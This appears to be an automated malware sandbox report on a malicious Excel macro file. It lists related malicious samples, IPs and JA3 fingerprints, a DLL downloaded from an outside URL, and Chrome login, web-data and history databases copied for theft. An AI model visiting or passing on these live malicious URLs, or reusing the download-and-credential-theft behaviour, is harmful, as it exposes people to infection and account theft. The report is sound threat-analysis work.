	350222_original.xlsm	Get hash	malicious	Browse	123.231.252.10
	350222_original.xlsm	Get hash	malicious	Browse	123.231.252.10
	566130_original.xlsm	Get hash	malicious	Browse	123.231.252.10
	inv_940214_12022020.xlsm	Get hash	malicious	Browse	123.231.252.10
	http://blog.ploytrip.com/z9cr/Pages/UxiQlIomnGiGKODewvEaBYLyCJh/	Get hash	malicious	Browse	183.91.78.212
SERVERPLAN-ASIT	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.1181.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.21235.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.21759.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.2804.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.1138.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.18554.xls	Get hash	malicious	Browse	185.81.0.78
	Sign-636.xls	Get hash	malicious	Browse	185.81.0.78
	Sign-92793351_1597657581.xls	Get hash	malicious	Browse	185.81.0.78
	Sign-979329054_1327186231.xls	Get hash	malicious	Browse	185.81.0.78
	Sign-709986424_219667767.xls	Get hash	malicious	Browse	185.81.0.78
	Sign-709986424_219667767.xls	Get hash	malicious	Browse	185.81.0.78
	Sign-488964532_2104982999.xls	Get hash	malicious	Browse	185.81.0.78
	Sign-488964532_2104982999.xls	Get hash	malicious	Browse	185.81.0.78
	Sign-707465831_1420670581.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Exploit.Siggen3.10048.21670.xls	Get hash	malicious	Browse	93.95.216.145
TelefonicadelPeruSAAPE	networkmanager	Get hash	malicious	Browse	200.106.178.58
	vrhiyc.exe	Get hash	malicious	Browse	200.60.57.62
	ucrcdh.exe	Get hash	malicious	Browse	200.60.57.62
	lrbwh.exe	Get hash	malicious	Browse	200.60.57.62
	ST6UNST.EXE	Get hash	malicious	Browse	200.60.57.62
	MkisahOBqH.dll	Get hash	malicious	Browse	190.236.129.31
	UnHAnaAW.x86	Get hash	malicious	Browse	181.116.130.217
	1XA1buCbqq	Get hash	malicious	Browse	181.67.21.36
	init.sh	Get hash	malicious	Browse	190.233.154.126
	GsQzmGULNs.exe	Get hash	malicious	Browse	200.60.71.194
	RENIEC-PortalCiudadano-1.1.exe	Get hash	malicious	Browse	200.60.160.42
	uTorrent Stable(3.4.2 build 37754).exe	Get hash	malicious	Browse	190.43.238.216
	http://jmf.uptpkkediri.info/zmail.php?http://info.zimbra.com/thank-you-for-email-confirmation?utm_medium=email&_hsenc=p2ANqtzCa1bdc729-a148-4578-8059-23d48b6f026f	Get hash	malicious	Browse	200.37.86.163
	http://jmf.uptpkkediri.info/zmail.php?http://info.zimbra.com/thank-you-for-email-confirmation?utm_medium=email&_hsenc=p2ANqtzCa1bdc729-a148-4578-8059-23d48b6f026f	Get hash	malicious	Browse	200.37.86.163
	58627839154_426938642.vbs	Get hash	malicious	Browse	190.238.147.115
	x86	Get hash	malicious	Browse	200.121.166.111
	Attn.doc	Get hash	malicious	Browse	181.99.223.250
	potymk-Invoice.doc.doc	Get hash	malicious	Browse	181.99.223.250
	3c#U0438.exe	Get hash	malicious	Browse	181.96.253.148
	http://rupertsherwood.com/Templates/esp/b207qn1fc3l1lugdtga23zf0o_b178b9ps-936935507/	Get hash	malicious	Browse	181.65.214.222

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
8c4a22651d328568ec66382a84fc505f	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Heur.21759.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Heur.2804.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Heur.1138.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Heur.18554.xls	Get hash	malicious	Browse	193.8.194.96
	Sign-636.xls	Get hash	malicious	Browse	193.8.194.96
	Sign-92793351_1597657581.xls	Get hash	malicious	Browse	193.8.194.96
	Sign-979329054_1327186231.xls	Get hash	malicious	Browse	193.8.194.96
	Sign-707465831_1420670581.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Heur.22173.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Heur.11712.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Heur.28224.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Heur.13393.xls	Get hash	malicious	Browse	193.8.194.96
	Sign_1136845514-2138034493.xls	Get hash	malicious	Browse	193.8.194.96
	Sign_77624265-298090224.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Exploit.Siggen3.10048.21670.xls	Get hash	malicious	Browse	193.8.194.96
	SecuriteInfo.com.Exploit.Siggen3.10048.21085.xls	Get hash	malicious	Browse	193.8.194.96

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1181.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.21235.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.21759.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.2804.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1138.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.18554.xls	Get hash	malicious	Browse
	Sign-636.xls	Get hash	malicious	Browse
	Sign-92793351_1597657581.xls	Get hash	malicious	Browse
	Sign-979329054_1327186231.xls	Get hash	malicious	Browse
	Sign-709986424_219667767.xls	Get hash	malicious	Browse
	Sign-488964532_2104982999.xls	Get hash	malicious	Browse
	Sign-707465831_1420670581.xls	Get hash	malicious	Browse
C:\Users\user\BASE.BABAA	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1181.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.21235.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.21759.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.2804.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1138.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.18554.xls	Get hash	malicious	Browse
	Sign-636.xls	Get hash	malicious	Browse
	Sign-92793351_1597657581.xls	Get hash	malicious	Browse
	Sign-979329054_1327186231.xls	Get hash	malicious	Browse
	Sign-709986424_219667767.xls	Get hash	malicious	Browse
	Sign-488964532_2104982999.xls	Get hash	malicious	Browse
	Sign-707465831_1420670581.xls	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	Microsoft Cabinet archive data, 59134 bytes, 1 file
Category:	dropped
Size (bytes):	59134
Entropy (8bit):	7.995450161616763
Encrypted:	true
SSDEEP:	1536:R695NkJMM0/7laXXHAQHQaYfwlmz8efIqigYDff:RN7MlanAQwEIztTk
MD5:	E92176B0889CC1BB97114BEB2F3C1728
SHA1:	AD1459D390EC23AB1C3DA73FF2FBEC7FA3A7F443
SHA-256:	58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FC9900F3
SHA-512:	CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........T.........R.. .authroot.stl.ym&7.5..CK..8T....c_.d...:.(.....].M$[v.4.).E.$7I.....e..Y..Rq...3.n..u..............\|..=H....&..1.1..f.L..>e.6....F8.X.b.1$,.a...n-......D..a....[.....i,+.+..<.b._#...G..U.....n..21pa..>.32..Y..j...;Ay........n/R... ._.+..<...Am.t.<. ..V..y`.yO..e@../...<#..#......dju..B......8..H'..lr.....l.I6/..d.].xIX<...&U...GD..Mn.y&.[<(tk.....%B.b;./..`.#h....C.P...B..8d.F...D.k........... 0..w...@(.. @K....?.)ce........\.\......l......Q.Qd..+...@.X..##3..M.d..n6.....p1..)...x0V...ZK.{...{.=#h.v.).....b.....[...L..c..a..,...E5X..i.d..w.....#o+.........X.P...k...V.$...X.r.e....9E.x..=\...Km.......B...Ep...xl@@c1.....p?...d.{EYN.K.X>D3..Z..q.] .Mq.........L.n}........+/l\.cDB0.'.Y...r.[.........vM...o.=....zK..r..l..>B....U..3....Z...ZjS...wZ.M...IW;..e.L...zC.wBtQ..&.Z.Fv+..G9.8..!..\T:K`......m.........9T.u..3h.....{...d[...@...Q.?..p.e.t[.%7..........^.....s.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.061122521080951
Encrypted:	false
SSDEEP:	6:kK+dPPbqoN+SkQlPlEGYRMY9z+4KlDA3RUeKlF+adAlf:6W3kPlE99SNxAhUeo+aKt
MD5:	DCA7983951C4C97EDFABEB19606FAC93
SHA1:	F90C214303F0E68DC0DF6EC02C90BFD3F9D95638
SHA-256:	A3B9D666803F2B940D3F1D1BB3CF64CE92D403E1C21FF53A9340BC225560882B
SHA-512:	8DC02AB04636EE2670511230320916032F432D573A86EE333A6957B81F7047B569A29007A645AEBBEAD84EB5DFE94335B78C485D6B5E1FD3EE2696C9B619632B
Malicious:	false
Reputation:	low
Preview:	p...... ........cM..o...(....................................................... ..................&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.e.b.b.a.e.1.d.7.e.a.d.6.1.:.0."...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History.bak Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	0.4753649773590379
Encrypted:	false
SSDEEP:	48:T7Y5Bk9MtTeBk9SYxNPM5ETQTQYysX0Xu132RUS5PtsikKLwQTR8+z3QH3eMwVaY:gHYJYsU+QYysX0CcFWeTVaN+LrL25sjF
MD5:	AEE054CEBAB27FF921F10325627DBAF4
SHA1:	FCE2FB98C6FB7F4B59877909B314F948BF91B19D
SHA-256:	380980EA5623B2D84A074DDE44C164554E3D2CBA0149F73C55EDE2D7F0220AA5
SHA-512:	0E5DDFFAB24764F852945602331949E903F039F285F07364F6D4BB1D4E09645F7C4A1E2020D915006BEFE365E07867FBC19DFA4B01D20A03166055D56AE4EBE1
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.7798653713156546
Encrypted:	false
SSDEEP:	48:L3k+YzHF/8LKBwUf9KfWfkMUEilGc7xBM6vu3f+fmyJqhU:LSe7mlcwilGc7Ha3f+u
MD5:	CD5ACB5FAA79EEB4CDB481C6939EEC15
SHA1:	527F3091889C553B87B6BC0180E903E2931CCCFE
SHA-256:	D86AE09AC801C92AF3F2A18515F0C6ACBFA162671A7925405590CA4959B51E96
SHA-512:	A79C4D7F592A9E8CC983878B02C0B89DECB77D71F9451C0A5AE3F1E898C42081693C350E0BE0BA52342D51D6A3E198E0E87340AC5E268921623B088113A70D5D
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.1340767975888557
Encrypted:	false
SSDEEP:	96:rSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+H:OG8mZMDTJQb3OCaM0f6k81Vumi
MD5:	9A38AC1D3304A8EEFD9C54D4EADCCCD6
SHA1:	56E953B2827B37491BC80E3BFDBBF535F95EDFA7
SHA-256:	67960A6297477E9F2354B384ECFE698BEB2C1FA1F9168BEAC08D2E270CE3558C
SHA-512:	32281388C0DE6AA73FCFF0224450E45AE5FB970F5BA3E72DA1DE4E39F80BFC6FE1E27AAECC6C08165D2BF625DF57F3EE3FC1115BF1F4BA6DDE0EB4F69CD0C77D
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State.bak Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	35549
Entropy (8bit):	6.06431092799383
Encrypted:	false
SSDEEP:	768:2F3tAP0WdZWTHzO+EMvDBdIu++qtXQQJokdugILQ67IU4I9zrLWJ:k3O8Ni+RvDD5/qNQmduDKRIFrLWJ
MD5:	4E06FDEE66DA477D15AAAFD104802FF3
SHA1:	2814763828D036134EEF93F28D6C499913E903AA
SHA-256:	835ADDCE810330CA6D1FE5AA598CB758B639173086517BEBC6B0AAC7CBFDAA1D
SHA-512:	42521F28CAD2FEA206592962A999202FA65E4A398EF29B9A759DAFFAD60CA95E027ABB52E523C799E7C131A15B17CDFC46FEC102C48EF7569D381C6E47680F37
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"84.0.4147.89"},"easy_unlock":{"device_id":"f691bb0f-1b4f-4339-aef5-321b65f13447"},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.595529173769173e+12,"network":1.595503998e+12,"ticks":494811744.0,"uncertainty":4224807.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADCJQEpL4peQLs/tCx05ts1AAAAAAIAAAAAABBmAAAAAQAAIAAAAHMdBSm688AB9E4ujGBlc8b12w9pH8Ho0MG5KX0s9TvsAAAAAA6AAAAAAgAAIAAAAKp70FMSZVCDUsFN1iNo5k0cdS+uI3XobvqN11pz11FbMAAAAHEgEYBv3dbmfqLRp8KY9FTYBCEdPLIJnBuQSIy6PW6ieb+TQlX0tlf+joBO06Pyo0AAAADT82DjaNvFLY7T0RywXTGepumesXXBFeM5MLg7ZlErGegSazITBqJVemjLdeT3R2c6H7dl+tlEXxt1m8SJWLUl"},"policy":{"last_statistics_update":"13240002771769952"},"profile":{"info_cache":{"Default":{"active_time":1595529172.199256,"avatar_icon":"chrome://theme/IDR_PROFILE_AVATAR_26","background_apps":false,"

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	4591104
Entropy (8bit):	5.0540147937501265
Encrypted:	false
SSDEEP:	49152:7SkyvIo/YMOZswCkQzvhtawebv5hW2/yF//4VPQw:NCetO//S9
MD5:	25056DF6D3546DE971EAFE5DA5F9AE44
SHA1:	179555B3D0391E45DF29E651B8ED0342D02FE88A
SHA-256:	AA7931E3E85D3C5BD6FC2052C38BEE389BFBA9281A8616DA3275149A689EC5EB
SHA-512:	8032A5BD9B07ACCC290B24FD2AFA299AFD12214026089665836FADE7282F0D217FFD79F5A3A12FD64E0E08D4F6FA0A04A8B036B4CDC1F95356B0BF43D6A80B50
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 6%
Joe Sandbox View:	Filename: SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.1476.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.1181.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.21235.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.15875.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.21759.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.2804.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.1138.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.11266.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.18554.xls, Detection: malicious, Browse Filename: Sign-636.xls, Detection: malicious, Browse Filename: Sign-92793351_1597657581.xls, Detection: malicious, Browse Filename: Sign-979329054_1327186231.xls, Detection: malicious, Browse Filename: Sign-709986424_219667767.xls, Detection: malicious, Browse Filename: Sign-488964532_2104982999.xls, Detection: malicious, Browse Filename: Sign-707465831_1420670581.xls, Detection: malicious, Browse
IE Cache URL:	http://www.chipmania.it/mails/open.php
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y.K..K..K..#.+.K..#.+~K..#.+.K..;.+.K..;.+.K..#.+.K..K..K..;.+.K.N:.+.K.N:.+.K.N:..K.N:.+.K.Rich.K.*........................PE..L....s/`...........!.....rB..........}A.......B..............................`F...........@......................... .D.`.....D.<.....D.Xp...................@F.....`.D.p............................D.@.............B.X............................text....qB......rB................. ..`.rdata........B......vB.............@..@.data...8.....D.......D.............@....rsrc...Xp....D..r....D.............@..@.reloc.......@F.......E.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\40DE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	155530
Entropy (8bit):	7.660535334181515
Encrypted:	false
SSDEEP:	3072:YxWVpupSzxNEBBD+Os7/xxkKCtRbsYO1entseoXXF:YEGSzx0dmxk7RbsYsKtseoXV
MD5:	941E9CD7C5A77CC75D438B12634F97ED
SHA1:	6CB03661FDECF7500E2D32CB5519F53E274D11A7
SHA-256:	0C0799AD1543EF4D74AF37CF70E377D2BC4C645D2AED6D00AC3027F6D770FD95
SHA-512:	A7480EDD2B3D88135F51024765B21E69917A7715DDD39AFE22E34F85F33E19F926BB85F7890315C2D8B9B608D3DD94667A69F3814ADE29A31A333DAAFCF1F581
Malicious:	false
Preview:	...n.0.E.......D'.....E....I?.&..k..a...;...5.K....{..H......"j.Zv..X.Nz.]..._..$...;h....,..?l.`E..[..>q...+......\|.".m.x.r-:......K.R...[..J<.T.n....R;V}..Q-.!.-E"...#H.W+-Ay.hI...A(...5M.....R......#...tY8....Q..}%..,.`....r..*..^.}.wja...;..7a.^\|c.......H....6.LSj.X!..ubi..v/..J$.r.....39...I...Q\|O5r..w.T...\|.c..O........0m...\..n':D.E.u..O....?..\|.(........{...1...&.........1}.}@.."L.....]....4....u .t..<.\ .S...6/...........PK..........!..#\|.....X.......[Content_Types].xml ...(...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CabE466.tmp Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	Microsoft Cabinet archive data, 59134 bytes, 1 file
Category:	dropped
Size (bytes):	59134
Entropy (8bit):	7.995450161616763
Encrypted:	true
SSDEEP:	1536:R695NkJMM0/7laXXHAQHQaYfwlmz8efIqigYDff:RN7MlanAQwEIztTk
MD5:	E92176B0889CC1BB97114BEB2F3C1728
SHA1:	AD1459D390EC23AB1C3DA73FF2FBEC7FA3A7F443
SHA-256:	58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FC9900F3
SHA-512:	CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F
Malicious:	false
Preview:	MSCF............,...................I........T.........R.. .authroot.stl.ym&7.5..CK..8T....c_.d...:.(.....].M$[v.4.).E.$7I.....e..Y..Rq...3.n..u..............\|..=H....&..1.1..f.L..>e.6....F8.X.b.1$,.a...n-......D..a....[.....i,+.+..<.b._#...G..U.....n..21pa..>.32..Y..j...;Ay........n/R... ._.+..<...Am.t.<. ..V..y`.yO..e@../...<#..#......dju..B......8..H'..lr.....l.I6/..d.].xIX<...&U...GD..Mn.y&.[<(tk.....%B.b;./..`.#h....C.P...B..8d.F...D.k........... 0..w...@(.. @K....?.)ce........\.\......l......Q.Qd..+...@.X..##3..M.d..n6.....p1..)...x0V...ZK.{...{.=#h.v.).....b.....[...L..c..a..,...E5X..i.d..w.....#o+.........X.P...k...V.$...X.r.e....9E.x..=\...Km.......B...Ep...xl@@c1.....p?...d.{EYN.K.X>D3..Z..q.] .Mq.........L.n}........+/l\.cDB0.'.Y...r.[.........vM...o.=....zK..r..l..>B....U..3....Z...ZjS...wZ.M...IW;..e.L...zC.wBtQ..&.Z.Fv+..G9.8..!..\T:K`......m.........9T.u..3h.....{...d[...@...Q.?..p.e.t[.%7..........^.....s.

C:\Users\user\AppData\Local\Temp\TarE467.tmp Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	data
Category:	dropped
Size (bytes):	152788
Entropy (8bit):	6.316654432555028
Encrypted:	false
SSDEEP:	1536:WIA6c7RbAh/E9nF2hspNuc8odv+1//FnzAYtYyjCQxSMnl3xlUwg:WAmfF3pNuc7v+ltjCQSMnnSx
MD5:	64FEDADE4387A8B92C120B21EC61E394
SHA1:	15A2673209A41CCA2BC3ADE90537FE676010A962
SHA-256:	BB899286BE1709A14630DC5ED80B588FDD872DB361678D3105B0ACE0D1EA6745
SHA-512:	655458CB108034E46BCE5C4A68977DCBF77E20F4985DC46F127ECBDE09D6364FE308F3D70295BA305667A027AD12C952B7A32391EFE4BD5400AF2F4D0D830875
Malicious:	false
Preview:	0..T....H.........T.0..T....1.0...`.H.e......0..D...+.....7.....D.0..D.0...+.....7..........R19%..210115004237Z0...+......0..D.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sat Feb 20 09:03:39 2021, atime=Sat Feb 20 09:03:39 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.478636841194367
Encrypted:	false
SSDEEP:	12:85QocLgXg/XAlCPCHaXtB8XzB/qP6UX+WnicvbsW1bDtZ3YilMMEpxRljKHTdJP8:851K/XTd6jgyUYe7Dv3qWrNru/
MD5:	FF9482364E57CA13EECEAADDAA8344FA
SHA1:	11EF3A9E5A446CFD0586BED638C4E16134B9D96E
SHA-256:	D4C99F2CC2A0E54CF93FC16AB61498556E4AFA0016FF315A225D4B8CF7FBDE07
SHA-512:	E5BEAD707ABAAA6767C0D73F6EE2BCB399EB2222075593BAB4536CC9B414767E0752BBB4A6E9C903B50A94CA0B4E7E78016ED2A6DCF5C8E6A47E4D31E177E841
Malicious:	false
Preview:	L..................F...........7G....a.o.....a.o.... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....TRtP..Desktop.d......QK.XTRtP..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\813435\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......813435..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\SecuriteInfo.com.Exploit.Siggen3.10350.15803.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sat Feb 20 09:03:26 2021, mtime=Sat Feb 20 09:03:39 2021, atime=Sat Feb 20 09:03:39 2021, length=168448, window=hide
Category:	dropped
Size (bytes):	2368
Entropy (8bit):	4.5536921340652095
Encrypted:	false
SSDEEP:	48:8A/XT0jzHCVUkHCPWQh2A/XT0jzHCVUkHCPWQ/:8A/XojziSPWQh2A/XojziSPWQ/
MD5:	12AA67A97716BCD6E2D369DA74FC45DF
SHA1:	CA72A5034F671012CAB366D7A46A0737675B6734
SHA-256:	1BD9B6C3424DD25A4C6D584BFB66F8893FE1487DF0900ADD1D566AEAA0C1E2A3
SHA-512:	02EC0FCA7DCA05A68074C58659A201F604E5D42C43838EE021DD31BC134392F254AA3986EE8B0E49DD12D41466130959F1C699A9A5215FDF764FD2F7B43A88AA
Malicious:	false
Preview:	L..................F.... ....s`.o...e.Z.o.....a.o................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....TRnP..Desktop.d......QK.XTRnP..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.....TRpP .SECURI~1.XLS.........TRnPTRnP...7.....................S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...E.x.p.l.o.i.t...S.i.g.g.e.n.3...1.0.3.5.0...1.5.8.0.3...x.l.s.......................-...8...[............?J......C:\Users\..#...................\\813435\Users.user\Desktop\SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls.G.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...E.x.p.l.o.i.t...S.i.g.g.e.n.3...1.0.3.5.0...1.5.8.0.3...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.

